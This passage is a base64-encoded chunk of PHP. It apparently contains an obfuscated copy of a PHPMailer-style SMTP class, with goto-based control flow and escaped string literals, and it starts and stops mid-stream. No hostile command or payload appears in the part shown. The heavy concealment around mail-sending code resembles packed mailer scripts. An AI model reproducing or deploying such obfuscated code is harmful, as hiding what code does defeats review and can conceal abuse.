JHRvLCAkY2MsICRiY2MsICRzdWJqZWN0LCAkYm9keSwgJGZyb20sICRleHRyYSkgeyBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pIGFuZCBpc19jYWxsYWJsZSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSkgeyBjYWxsX3VzZXJfZnVuYygkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uLCAkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSwgJGV4dHJhKTsgfSB9IHB1YmxpYyBmdW5jdGlvbiBnZXRPQXV0aCgpIHsgcmV0dXJuICR0aGlzLT5vYXV0aDsgfSBwdWJsaWMgZnVuY3Rpb24gc2V0T0F1dGgoT0F1dGggJG9hdXRoKSB7ICR0aGlzLT5vYXV0aCA9ICRvYXV0aDsgfSB9IGdvdG8gZkZGVm87IEZKeGx2OiA/PgoiPjw/cGhwICBnb3RvIFpKeERoOyBmRkZWbzogY2xhc3MgU01UUCB7IGNvbnN0IFZFUlNJT04gPSAiXDY2XHgyZVx4MzBcNTZceDM3IjsgY29uc3QgTEUgPSAiXDE1XHhhIjsgY29uc3QgREVGQVVMVF9QT1JUID0gMjU7IGNvbnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsgY29uc3QgREVCVUdfT0ZGID0gMDsgY29uc3QgREVCVUdfQ0xJRU5UID0gMTsgY29uc3QgREVCVUdfU0VSVkVSID0gMjsgY29uc3QgREVCVUdfQ09OTkVDVElPTiA9IDM7IGNvbnN0IERFQlVHX0xPV0xFVkVMID0gNDsgcHVibGljICRkb19kZWJ1ZyA9IHNlbGY6OkRFQlVHX09GRjsgcHVibGljICREZWJ1Z291dHB1dCA9ICJcMTQ1XHg2M1x4NjhceDZmIjsgcHVibGljICRkb192ZXJwID0gZmFsc2U7IHB1YmxpYyAkVGltZW91dCA9IDMwMDsgcHVibGljICRUaW1lbGltaXQgPSAzMDA7IHByb3RlY3RlZCAkc210cF90cmFuc2FjdGlvbl9pZF9wYXR0ZXJucyA9IGFycmF5KCJcMTQ1XHg3OFx4NjlcMTU1IiA9PiAiXHgyZlwxMzNcMTM0XDE0NFwxMzVceDdiXDYzXHg3ZFx4MjBcMTE3XDExM1w0MFwxNTFceDY0XHgzZFx4MjhceDJlXDUyXHgyOVx4MmYiLCAiXHg3M1wxNDVcMTU2XDE0NFwxNTVceDYxXHg2OVwxNTQiID0+ICJceDJmXDEzM1x4NWNcMTQ0XHg1ZFx4N2JcNjNceDdkXHgyMFx4MzJcNTZceDMwXDU2XDYwXDQwXHgyOFw1Nlx4MmFcNTFcNDBcMTE1XDE0NVx4NzNceDczXDE0MVx4NjdceDY1XHgyZiIsICJcMTYwXDE1N1wxNjNcMTY0XHg2Nlx4NjlceDc4IiA9PiAiXHgyZlx4NWJcMTM0XHg2NFx4NWRcMTczXDYzXHg3ZFx4MjBceDMyXDU2XDYwXDU2XHgzMFx4MjBcMTE3XHg2Ylx4M2FcNDBcMTYxXDE2NVx4NjVceDc1XDE0NVwxNDRcNDBcMTQxXHg3M1x4MjBceDI4XDU2XHgyYVx4MjlceDJmIiwgIlx4NGRceDY5XDE0M1x4NzJcMTU3XHg3M1wxNTdceDY2XDE2NFx4NWZcMTA1XHg1M1wxMTVceDU0XDEyMCIgPT4gIlx4MmZceDViXDYwXHgyZFx4MzlcMTM1XDE3M1x4MzNcMTc1XHgyMFx4MzJcNTZceDViXHg1Y1wxNDRceDVkXHgyZVw2MFx4MjBceDI4XDU2XHgyYVx4MjlcMTAwXDUwXDc3XDcyXDU2XHgyYVw1MVx4MjBceDUxXHg3NVwxNDVcMTY1XHg2NVx4NjRcNDBceDZkXDE0MVwxNTFceDZjXHgyMFwxNDZcMTU3XDE2Mlx4MjBcMTQ0XHg2NVwxNTRceDY5XHg3NlwxNDVcMTYyXDE3MVw1NyIsICJceDQxXHg2ZFx4NjFceDdhXHg2Zlx4NmVcMTM3XDEyM1wxMDVceDUzIiA9PiAiXHgyZlx4NWJcMTM0XDE0NFwxMzVcMTczXHgzM1wxNzVcNDBceDRmXDE1M1x4MjBcNTBceDJlXDUyXHgyOVx4MmYiLCAiXHg1M1x4NjVceDZlXDE0NFx4NDdcMTYyXDE1MVwxNDQiID0+ICJcNTdcMTMzXHg1Y1x4NjRceDVkXHg3Ylx4MzNcMTc1XDQwXHg0ZlwxNTNcNzJceDIwXDE2MVwxNjVceDY1XHg3NVx4NjVceDY0XDQwXHg2MVx4NzNcNDBcNTBceDJlXDUyXHgyOVw1NyIsICJcMTAzXDE0MVx4NmRceDcwXDE0MVwxNTFceDY3XHg2ZVwxMTVcMTU3XHg2ZVx4NjlcMTY0XDE1N1x4NzIiID0+ICJcNTdcMTMzXDEzNFwxNDRceDVkXHg3Ylw2M1wxNzVcNDBceDMyXHgyZVw2MFx4MmVcNjBcNDBcMTE3XDExM1w3Mlx4MjhcMTMzXDE0MVx4MmRcMTcyXHg0MVx4MmRceDVhXDEzNFwxNDRceDVkXHg3Ylx4MzRceDM4XHg3ZFx4MjlceDJmIik7IHByb3RlY3RlZCAkbGFzdF9zbXRwX3RyYW5zYWN0aW9uX2lkOyBwcm90ZWN0ZWQgJHNtdHBfY29ubjsgcHJvdGVjdGVkICRlcnJvciA9IGFycmF5KCJcMTQ1XHg3Mlx4NzJceDZmXHg3MiIgPT4gJycsICJcMTQ0XHg2NVwxNjRcMTQxXDE1MVwxNTQiID0+ICcnLCAiXDE2M1wxNTVceDc0XDE2MFx4NWZcMTQzXHg2Zlx4NjRcMTQ1IiA9PiAnJywgIlx4NzNceDZkXHg3NFwxNjBcMTM3XDE0M1x4NmZceDY0XHg2NVwxMzdcMTQ1XHg3OCIgPT4gJycpOyBwcm90ZWN0ZWQgJGhlbG9fcnBseSA9IG51bGw7IHByb3RlY3RlZCAkc2VydmVyX2NhcHMgPSBudWxsOyBwcm90ZWN0ZWQgJGxhc3RfcmVwbHkgPSAnJzsgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyLCAkbGV2ZWwgPSAwKSB7IGlmICgkbGV2ZWwgPiAkdGhpcy0+ZG9fZGVidWcpIHsgcmV0dXJuOyB9IGlmICgkdGhpcy0+RGVidWdvdXRwdXQgaW5zdGFuY2VvZiBcUHNyXExvZ1xMb2dnZXJJbnRlcmZhY2UpIHsgJHRoaXMtPkRlYnVnb3V0cHV0LT5kZWJ1Zygkc3RyKTsgcmV0dXJuOyB9IGlmICghaW5fYXJyYXkoJHRoaXMtPkRlYnVnb3V0cHV0LCBhcnJheSgiXDE0NVx4NzJcMTYyXHg2ZlwxNjJcMTM3XHg2Y1wxNTdcMTQ3IiwgIlx4NjhceDc0XHg2ZFx4NmMiLCAiXHg2NVwxNDNceDY4XHg2ZiIpKSBhbmQgaXNfY2FsbGFibGUoJHRoaXMtPkRlYnVnb3V0cHV0KSkgeyBjYWxsX3VzZXJfZnVuYygkdGhpcy0+RGVidWdvdXRwdXQsICRzdHIsICRsZXZlbCk7IHJldHVybjsgfSBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgeyBjYXNlICJceDY1XDE2Mlx4NzJcMTU3XDE2Mlx4NWZceDZjXDE1N1wxNDciOiBlcnJvcl9sb2coJHN0cik7IGJyZWFrOyBjYXNlICJcMTUwXHg3NFx4NmRcMTU0IjogZWNobyBnbWRhdGUoIlx4NTlceDJkXHg2ZFw1NVx4NjRceDIwXHg0OFx4M2FceDY5XHgzYVwxNjMiKSwgIlx4MjAiLCBodG1sZW50aXRpZXMocHJlZ19yZXBsYWNlKCJcNTdceDViXDEzNFwxNjJcMTM0XDE1NlwxMzVcNTNceDJmIiwgJycsICRzdHIpLCBFTlRfUVVPVEVTLCAiXDEyNVx4NTRceDQ2XHgyZFw3MCIpLCAiXHgzY1wxNDJceDcyXDc2XHhhIjsgYnJlYWs7IGNhc2UgIlwxNDVceDYzXDE1MFx4NmYiOiBkZWZhdWx0OiAkc3RyID0gcHJlZ19yZXBsYWNlKCJceDJmXDEzNFwxNjJcMTM0XHg2ZVwxNzRceDVjXDE2Mlw1N1wxNTVceDczIiwgIlwxMiIsICRzdHIpOyBlY2hvIGdtZGF0ZSgiXHg1OVw1NVwxNTVceDJkXHg2NFx4MjBcMTEwXDcyXHg2OVw3Mlx4NzMiKSwgIlx4OSIsIHRyaW0oc3RyX3JlcGxhY2UoIlx4YSIsICJceGFceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBcMTFceDIwXDQwXDQwXDQwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MCIsIHRyaW0oJHN0cikpKSwgIlx4YSI7IH0gfSBwdWJsaWMgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHBvcnQgPSBudWxsLCAkdGltZW91dCA9IDMwLCAkb3B0aW9ucyA9IGFycmF5KCkpIHsgc3RhdGljICRzdHJlYW1vazsgaWYgKG51bGwgPT09ICRzdHJlYW1vaykgeyAkc3RyZWFtb2sgPSBmdW5jdGlvbl9leGlzdHMoIlwxNjNceDc0XHg3Mlx4NjVceDYxXDE1NVwxMzdceDczXDE1N1x4NjNceDZiXHg2NVwxNjRceDVmXHg2M1x4NmNcMTUxXDE0NVx4NmVcMTY0Iik7IH0gJHRoaXMtPnNldEVycm9yKCcnKTsgaWYgKCR0aGlzLT5jb25uZWN0ZWQoKSkgeyAkdGhpcy0+c2V0RXJyb3IoIlx4NDFceDZjXDE2Mlx4NjVcMTQxXHg2NFx4NzlceDIwXHg2M1wxNTdceDZlXHg2ZVwxNDVceDYzXHg3NFwxNDVcMTQ0XDQwXHg3NFwxNTdcNDBcMTQxXHgyMFx4NzNcMTQ1XHg3MlwxNjZceDY1XDE2MiIpOyByZXR1cm4gZmFsc2U7IH0gaWYgKGVtcHR5KCRwb3J0KSkgeyAkcG9ydCA9IHNlbGY6OkRFRkFVTFRfUE9SVDsgfSAkdGhpcy0+ZWRlYnVnKCJcMTAzXHg2Zlx4NmVceDZlXHg2NVx4NjNceDc0XHg2OVwxNTdcMTU2XDcyXDQwXHg2Zlx4NzBcMTQ1XDE1Nlx4NjlcMTU2XHg2N1x4MjBceDc0XHg2Zlx4MjB7JGhvc3R9XDcyeyRwb3J0fVx4MmNcNDBceDc0XHg2OVwxNTVcMTQ1XHg2Zlx4NzVceDc0XHgzZHskdGltZW91dH1cNTRcNDBcMTU3XDE2MFwxNjRcMTUxXDE1N1x4NmVceDczXDc1IiAuIChjb3VudCgkb3B0aW9ucykgPiAwID8gdmFyX2V4cG9ydCgkb3B0aW9ucywgdHJ1ZSkgOiAiXHg2MVwxNjJcMTYyXDE0MVx4NzlcNTBcNTEiKSwgc2VsZjo6REVCVUdfQ09OTkVDVElPTik7ICRlcnJubyA9IDA7ICRlcnJzdHIgPSAnJzsgaWYgKCRzdHJlYW1vaykgeyAkc29ja2V0X2NvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdGlvbnMpOyBzZXRfZXJyb3JfaGFuZGxlcihhcnJheSgkdGhpcywgIlwxNDVceDcyXHg3Mlx4NmZcMTYyXDExMFwxNDFcMTU2XHg2NFwxNTRceDY1XHg3MiIpKTsgJHRoaXMtPnNtdHBfY29ubiA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCRob3N0IC4gIlw3MiIgLiAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCwgU1RSRUFNX0NMSUVOVF9DT05ORUNULCAkc29ja2V0X2NvbnRleHQpOyByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsgfSBlbHNlIHsgJHRoaXMtPmVkZWJ1ZygiXHg0M1wxNTdcMTU2XDE1NlwxNDVcMTQzXHg3NFx4NjlceDZmXHg2ZVw3Mlx4MjBceDczXHg3NFwxNjJcMTQ1XDE0MVx4NmRcMTM3XHg3M1wxNTdcMTQzXDE1M1x4NjVceDc0XHg1Zlx4NjNceDZjXHg2OVwxNDVcMTU2XHg3NFw0MFwxNTZcMTU3XHg3NFx4MjBcMTQxXDE2Nlx4NjFcMTUxXDE1NFwxNDFceDYyXHg2Y1wxNDVcNTRcNDBceDY2XHg2MVx4NmNcMTU0XHg2OVwxNTZceDY3XHgyMFwxNDJcMTQxXDE0M1wxNTNcNDBceDc0XDE1N1x4MjBceDY2XHg3M1x4NmZcMTQzXHg2Ylx4NmZceDcwXDE0NVx4NmUiLCBzZWxmOjpERUJVR19DT05ORUNUSU9OKTsgc2V0X2Vycm9yX2hhbmRsZXIoYXJyYXkoJHRoaXMsICJceDY1XHg3MlwxNjJcMTU3XHg3MlwxMTBceDYxXHg2ZVwxNDRceDZjXDE0NVx4NzIiKSk7ICR0aGlzLT5zbXRwX2Nvbm4gPSBmc29ja29wZW4oJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsICR0aW1lb3V0KTsgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7IH0gaWYgKCFpc19yZXNvdXJjZSgkdGhpcy0+c210cF9jb25uKSkgeyAkdGhpcy0+c2V0RXJyb3IoIlwxMDZcMTQxXHg2OVwxNTRcMTQ1XDE0NFw0MFx4NzRceDZmXHgyMFx4NjNceDZmXHg2ZVwxNTZcMTQ1XDE0M1wxNjRcNDBceDc0XDE1N1w0MFx4NzNcMTQ1XHg3MlwxNjZceDY1XHg3MiIsICcnLCAoc3RyaW5nKSAkZXJybm8sIChzdHJpbmcpICRlcnJzdHIpOyAkdGhpcy0+ZWRlYnVnKCJceDUzXDExNVx4NTRceDUwXDQwXHg0NVwxMjJceDUyXHg0Zlx4NTJcNzJceDIwIiAuICR0aGlzLT5lcnJvclsiXHg2NVx4NzJcMTYyXDE1N1wxNjIiXSAuICJcNzJceDIweyRlcnJzdHJ9XHgyMFx4Mjh7JGVycm5vfVx4MjkiLCBzZWxmOjpERUJVR19DTElFTlQpOyByZXR1cm4gZmFsc2U7IH0gJHRoaXMtPmVkZWJ1ZygiXHg0M1wxNTdceDZlXDE1NlwxNDVcMTQzXDE2NFwxNTFceDZmXDE1Nlw3Mlx4MjBceDZmXDE2MFwxNDVcMTU2XDE0NVx4NjQiLCBzZWxmOjpERUJVR19DT05ORUNUSU9OKTsgaWYgKHN1YnN0cihQSFBfT1MsIDAsIDMpICE9ICJcMTI3XDExMVx4NGUiKSB7ICRtYXggPSBpbmlfZ2V0KCJcMTU1XHg2MVwxNzBcMTM3XHg2NVx4NzhcMTQ1XDE0M1x4NzVcMTY0XDE1MVx4NmZceDZlXHg1Zlx4NzRceDY5XDE1NVx4NjUiKTsgaWYgKDAgIT0gJG1heCBhbmQgJHRpbWVvdXQgPiAkbWF4KSB7IEBzZXRfdGltZV9saW1pdCgkdGltZW91dCk7IH0gc3RyZWFtX3NldF90aW1lb3V0KCR0aGlzLT5zbXRwX2Nvbm4sICR0aW1lb3V0LCAwKTsgfSAkYW5ub3VuY2UgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7ICR0aGlzLT5lZGVidWcoIlx4NTNcMTA1XHg1Mlx4NTZcMTA1XHg1Mlx4MjBceDJkXDc2XDQwXDEwM1wxMTRcMTExXHg0NVx4NGVceDU0XHgzYVx4MjAiIC4gJGFubm91bmNlLCBzZWxmOjpERUJVR19TRVJWRVIpOyByZXR1cm4gdHJ1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gc3RhcnRUTFMoKSB7IGlmICghJHRoaXMtPnNlbmRDb21tYW5kKCJcMTIzXDEyNFx4NDFceDUyXHg1NFx4NTRcMTE0XDEyMyIsICJcMTIzXDEyNFx4NDFceDUyXHg1NFx4NTRceDRjXDEyMyIsIDIyMCkpIHsgcmV0dXJuIGZhbHNlOyB9ICRjcnlwdG9fbWV0aG9kID0gU1RSRUFNX0NSWVBUT19NRVRIT0RfVExTX0NMSUVOVDsgaWYgKGRlZmluZWQoIlx4NTNceDU0XHg1Mlx4NDVcMTAxXDExNVwxMzdcMTAzXHg1MlwxMzFcMTIwXHg1NFx4NGZceDVmXDExNVx4NDVcMTI0XDExMFx4NGZcMTA0XDEzN1wxMjRcMTE0XHg1M1wxNjZcNjFcMTM3XDYyXDEzN1x4NDNceDRjXDExMVx4NDVceDRlXDEyNCIpKSB7ICRjcnlwdG9fbWV0aG9kIHw9IFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3YxXzJfQ0xJRU5UOyAkY3J5cHRvX21ldGhvZCB8PSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8xX0NMSUVOVDsgfSBzZXRfZXJyb3JfaGFuZGxlcihhcnJheSgkdGhpcywgIlx4NjVcMTYyXDE2MlwxNTdcMTYyXDExMFwxNDFcMTU2XHg2NFx4NmNceDY1XDE2MiIpKTsgJGNyeXB0b19vayA9IHN0cmVhbV9zb2NrZXRfZW5hYmxlX2NyeXB0bygkdGhpcy0+c210cF9jb25uLCB0cnVlLCAkY3J5cHRvX21ldGhvZCk7IHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOyByZXR1cm4gKGJvb2wpICRjcnlwdG9fb2s7IH0gcHVibGljIGZ1bmN0aW9uIGF1dGhlbnRpY2F0ZSgkdXNlcm5hbWUsICRwYXNzd29yZCwgJGF1dGh0eXBlID0gbnVsbCwgJE9BdXRoID0gbnVsbCkgeyBpZiAoISR0aGlzLT5zZXJ2ZXJfY2FwcykgeyAkdGhpcy0+c2V0RXJyb3IoIlx4NDFceDc1XDE2NFwxNTBcMTQ1XDE1NlwxNjRceDY5XDE0M1x4NjFcMTY0XHg2OVwxNTdcMTU2XHgyMFwxNTFcMTYzXDQwXHg2ZVwxNTdceDc0XHgyMFx4NjFceDZjXDE1NFx4NmZcMTY3XDE0NVx4NjRceDIwXDE0MlwxNDVcMTQ2XDE1N1wxNjJcMTQ1XDQwXDExMFwxMDVcMTE0XDExN1x4MmZcMTA1XHg0OFx4NGNcMTE3Iik7IHJldHVybiBmYWxzZTsgfSBpZiAoYXJyYXlfa2V5X2V4aXN0cygiXDEwNVwxMTBcMTE0XHg0ZiIsICR0aGlzLT5zZXJ2ZXJfY2FwcykpIHsgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCJceDQxXHg1NVx4NTRceDQ4IiwgJHRoaXMtPnNlcnZlcl9jYXBzKSkgeyAkdGhpcy0+c2V0RXJyb3IoIlx4NDFceDc1XDE2NFwxNTBceDY1XDE1Nlx4NzRcMTUxXHg2M1x4NjFcMTY0XDE1MVwxNTdcMTU2XDQwXDE1MVx4NzNcNDBceDZlXHg2ZlwxNjRcNDBceDYxXDE1NFwxNTRceDZmXHg3N1wxNDVceDY0XDQwXHg2MVwxNjRceDIwXHg3NFwxNTBceDY5XDE2M1x4MjBceDczXHg3NFx4NjFcMTQ3XDE0NSIpOyByZXR1cm4gZmFsc2U7IH0gJHRoaXMtPmVkZWJ1ZygiXHg0MVx4NzVcMTY0XHg2OFw0MFwxNTVcMTQ1XDE2NFx4NjhcMTU3XDE0NFw0MFwxNjJceDY1XHg3MVwxNjVceDY1XHg3M1wxNjRceDY1XDE0NFx4M2FceDIwIiAuICgkYXV0aHR5cGUgPyAkYXV0aHR5cGUgOiAiXDEyNVx4NGVceDUzXHg1MFx4NDVceDQzXHg0OVwxMDZcMTExXHg0NVwxMDQiKSwgc2VsZjo6REVCVUdfTE9XTEVWRUwpOyAkdGhpcy0+ZWRlYnVnKCJceDQxXHg3NVx4NzRcMTUwXHgyMFwxNTVcMTQ1XHg3NFwxNTBceDZmXHg2NFx4NzNceDIwXHg2MVx4NzZceDYxXDE1MVwxNTRceDYxXDE0Mlx4NmNcMTQ1XHgyMFwxNTdceDZlXHgyMFwxNjRcMTUwXDE0NVw0MFx4NzNceDY1XDE2Mlx4NzZcMTQ1XHg3Mlx4M2FceDIwIiAuIGltcGxvZGUoIlw1NCIsICR0aGlzLT5zZXJ2ZXJfY2Fwc1siXHg0MVx4NTVcMTI0XHg0OCJdKSwgc2VsZjo6REVCVUdfTE9XTEVWRUwpOyBpZiAobnVsbCAhPT0gJGF1dGh0eXBlIGFuZCAhaW5fYXJyYXkoJGF1dGh0eXBlLCAkdGhpcy0+c2VydmVyX2NhcHNbIlx4NDFceDU1XDEyNFx4NDgiXSkpIHsgJHRoaXMtPmVkZWJ1ZygiXHg1MlwxNDVceDcxXHg3NVwxNDVceDczXDE2NFwxNDVcMTQ0XDQwXHg2MVwxNjVcMTY0XHg2OFx4MjBcMTU1XHg2NVx4NzRcMTUwXHg2Zlx4NjRceDIwXDE1NlwxNTdcMTY0XDQwXDE0MVwxNjZcMTQxXDE1MVx4NmNcMTQxXHg2MlwxNTRceDY1XDcyXHgyMCIgLiAkYXV0aHR5cGUsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsgJGF1dGh0eXBlID0gbnVsbDsgfSBpZiAoZW1wdHkoJGF1dGh0eXBlKSkgeyBmb3JlYWNoIChhcnJheSgiXHg0M1wxMjJceDQxXHg0ZFx4MmRcMTE1XHg0NFw2NSIsICJcMTE0XDExN1wxMDdceDQ5XDExNiIsICJceDUwXHg0Y1wxMDFcMTExXHg0ZSIsICJcMTMwXDExN1x4NDFceDU1XDEyNFx4NDhceDMyIikgYXMgJG1ldGhvZCkgeyBpZiAoaW5fYXJyYXkoJG1ldGhvZCwgJHRoaXMtPnNlcnZlcl9jYXBzWyJcMTAxXHg1NVwxMjRceDQ4Il0pKSB7ICRhdXRodHlwZSA9ICRtZXRob2Q7IGJyZWFrOyB9IH0gaWYgKGVtcHR5KCRhdXRodHlwZSkpIHsgJHRoaXMtPnNldEVycm9yKCJcMTE2XDE1N1x4MjBceDczXDE2NVx4NzBcMTYwXHg2ZlwxNjJceDc0XDE0NVx4NjRceDIwXHg2MVx4NzVceDc0XHg2OFwxNDVceDZlXDE2NFwxNTFcMTQzXHg2MVx4NzRceDY5XHg2ZlwxNTZceDIwXHg2ZFwxNDVceDc0XDE1MFwxNTdcMTQ0XHg3M1x4MjBceDY2XHg2ZlwxNjVcMTU2XDE0NCIpOyByZXR1cm4gZmFsc2U7IH0gc2VsZjo6ZWRlYnVnKCJcMTAxXHg3NVwxNjRcMTUwXDQwXHg2ZFx4NjVceDc0XHg2OFx4NmZceDY0XDQwXHg3M1x4NjVcMTU0XHg2NVwxNDNceDc0XHg2NVx4NjRceDNhXHgyMCIgLiAkYXV0aHR5cGUsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsgfSBpZiAoIWluX2FycmF5KCRhdXRodHlwZSwgJHRoaXMtPnNlcnZlcl9jYXBzWyJceDQxXHg1NVwxMjRcMTEwIl0pKSB7ICR0aGlzLT5zZXRFcnJvcigiXDEyNFx4NjhcMTQ1XHgyMFwxNjJcMTQ1XDE2MVwxNjVceDY1XHg3M1wxNjRceDY1XDE0NFw0MFwxNDFceDc1XDE2NFx4NjhcMTQ1XHg2ZVwxNjRcMTUxXDE0M1wxNDFcMTY0XHg2OVx4NmZcMTU2XHgyMFwxNTVcMTQ1XDE2NFx4NjhceDZmXHg2NFx4MjBcNDJ7JGF1dGh0eXBlfVx4MjJceDIwXDE1MVx4NzNcNDBceDZlXHg2ZlwxNjRcNDBceDczXDE2NVx4NzBcMTYwXHg2Zlx4NzJcMTY0XDE0NVwxNDRceDIwXDE0MlwxNzFcNDBcMTY0XHg2OFwxNDVceDIwXDE2M1x4NjVceDcyXHg3NlwxNDVcMTYyIik7IHJldHVybiBmYWxzZTsgfSB9IGVsc2VpZiAoZW1wdHkoJGF1dGh0eXBlKSkgeyAkYXV0aHR5cGUgPSAiXHg0Y1wxMTdcMTA3XHg0OVwxMTYiOyB9IHN3aXRjaCAoJGF1dGh0eXBlKSB7IGNhc2UgIlx4NTBceDRjXHg0MVwxMTFcMTE2IjogaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoIlwxMDFcMTI1XHg1NFx4NDgiLCAiXHg0MVwxMjVcMTI0XDExMFw0MFwxMjBcMTE0XHg0MVx4NDlceDRlIiwgMzM0KSkgeyByZXR1cm4gZmFsc2U7IH0gaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoIlwxMjVcMTYzXHg2NVwxNjJceDIwXDQ2XDQwXHg1MFx4NjFceDczXDE2M1wxNjdceDZmXDE2Mlx4NjQiLCBiYXNlNjRfZW5jb2RlKCJcMCIgLiAkdXNlcm5hbWUgLiAiXDAiIC4gJHBhc3N3b3JkKSwgMjM1KSkgeyByZXR1cm4gZmFsc2U7IH0gYnJlYWs7IGNhc2UgIlwxMTRceDRmXDEwN1x4NDlcMTE2IjogaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoIlx4NDFcMTI1XHg1NFwxMTAiLCAiXDEwMVwxMjVcMTI0XDExMFw0MFx4NGNcMTE3XHg0N1x4NDlcMTE2IiwgMzM0KSkgeyByZXR1cm4gZmFsc2U7IH0gaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoIlx4NTVceDczXDE0NVwxNjJceDZlXDE0MVwxNTVceDY1IiwgYmFzZTY0X2VuY29kZSgkdXNlcm5hbWUpLCAzMzQpKSB7IHJldHVybiBmYWxzZTsgfSBpZiAoISR0aGlzLT5zZW5kQ29tbWFuZCgiXHg1MFwxNDFceDczXHg3M1wxNjdcMTU3XHg3Mlx4NjQiLCBiYXNlNjRfZW5jb2RlKCRwYXNzd29yZCksIDIzNSkpIHsgcmV0dXJuIGZhbHNlOyB9IGJyZWFrOyBjYXNlICJceDQzXHg1Mlx4NDFcMTE1XHgyZFx4NGRcMTA0XDY1IjogaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoIlx4NDFcMTI1XHg1NFwxMTBcNDBceDQzXHg1MlwxMDFceDRkXHgyZFwxMTVcMTA0XDY1IiwgIlwxMDFceDU1XHg1NFx4NDhcNDBceDQzXHg1Mlx4NDFceDRkXHgyZFx4NGRceDQ0XDY1IiwgMzM0KSkgeyByZXR1cm4gZmFsc2U7IH0gJGNoYWxsZW5nZSA9IGJhc2U2NF9kZWNvZGUoc3Vic3RyKCR0aGlzLT5sYXN0X3JlcGx5LCA0KSk7ICRyZXNwb25zZSA9ICR1c2VybmFtZSAuICJcNDAiIC4gJHRoaXMtPmhtYWMoJGNoYWxsZW5nZSwgJHBhc3N3b3JkKTsgcmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgiXHg1NVwxNjNceDY1XDE2Mlx4NmVceDYxXHg2ZFx4NjUiLCBiYXNlNjRfZW5jb2RlKCRyZXNwb25zZSksIDIzNSk7IGNhc2UgIlwxMzBcMTE3XDEwMVx4NTVcMTI0XHg0OFw2MiI6IGlmIChudWxsID09PSAkT0F1dGgpIHsgcmV0dXJuIGZhbHNlOyB9ICRvYXV0aCA9ICRPQXV0aC0+Z2V0T2F1dGg2NCgpOyBpZiAoISR0aGlzLT5zZW5kQ29tbWFuZCgiXHg0MVx4NTVcMTI0XHg0OCIsICJcMTAxXDEyNVwxMjRceDQ4XDQwXDEzMFx4NGZcMTAxXHg1NVwxMjRceDQ4XHgzMlw0MCIgLiAkb2F1dGgsIDIzNSkpIHsgcmV0dXJuIGZhbHNlOyB9IGJyZWFrOyBkZWZhdWx0OiAkdGhpcy0+c2V0RXJyb3IoIlwxMDFcMTY1XDE2NFx4NjhcMTQ1XHg2ZVx4NzRcMTUxXHg2M1x4NjFceDc0XHg2OVwxNTdceDZlXHgyMFx4NmRceDY1XDE2NFx4NjhceDZmXHg2NFx4MjBceDIyeyRhdXRodHlwZX1cNDJceDIwXDE1MVwxNjNcNDBcMTU2XDE1N1wxNjRcNDBceDczXHg3NVwxNjBceDcwXDE1N1x4NzJcMTY0XHg2NVwxNDQiKTsgcmV0dXJuIGZhbHNlOyB9IHJldHVybiB0cnVlOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBobWFjKCRkYXRhLCAka2V5KSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjhcMTQxXDE2M1x4NjhcMTM3XHg2OFx4NmRcMTQxXHg2MyIpKSB7IHJldHVybiBoYXNoX2htYWMoIlwxNTVceDY0XHgzNSIsICRkYXRhLCAka2V5KTsgfSAkYnl0ZWxlbiA9IDY0OyBpZiAoc3RybGVuKCRrZXkpID4gJGJ5dGVsZW4pIHsgJGtleSA9IHBhY2soIlwxMTBcNTIiLCBtZDUoJGtleSkpOyB9ICRrZXkgPSBzdHJfcGFkKCRrZXksICRieXRlbGVuLCBjaHIoMCkpOyAkaXBhZCA9IHN0cl9wYWQoJycsICRieXRlbGVuLCBjaHIoNTQpKTsgJG9wYWQgPSBzdHJfcGFkKCcnLCAkYnl0ZWxlbiwgY2hyKDkyKSk7ICRrX2lwYWQgPSAka2V5IF4gJGlwYWQ7ICRrX29wYWQgPSAka2V5IF4gJG9wYWQ7IHJldHVybiBtZDUoJGtfb3BhZCAuIHBhY2soIlwxMTBceDJhIiwgbWQ1KCRrX2lwYWQgLiAkZGF0YSkpKTsgfSBwdWJsaWMgZnVuY3Rpb24gY29ubmVjdGVkKCkgeyBpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnNtdHBfY29ubikpIHsgJHNvY2tfc3RhdHVzID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHRoaXMtPnNtdHBfY29ubik7IGlmICgkc29ja19zdGF0dXNbIlx4NjVceDZmXHg2NiJdKSB7ICR0aGlzLT5lZGVidWcoIlx4NTNcMTE1XHg1NFwxMjBceDIwXHg0ZVx4NGZceDU0XDExMVwxMDNceDQ1XHgzYVx4MjBcMTA1XDExN1wxMDZcNDBcMTQzXHg2MVx4NzVcMTQ3XHg2OFwxNjRceD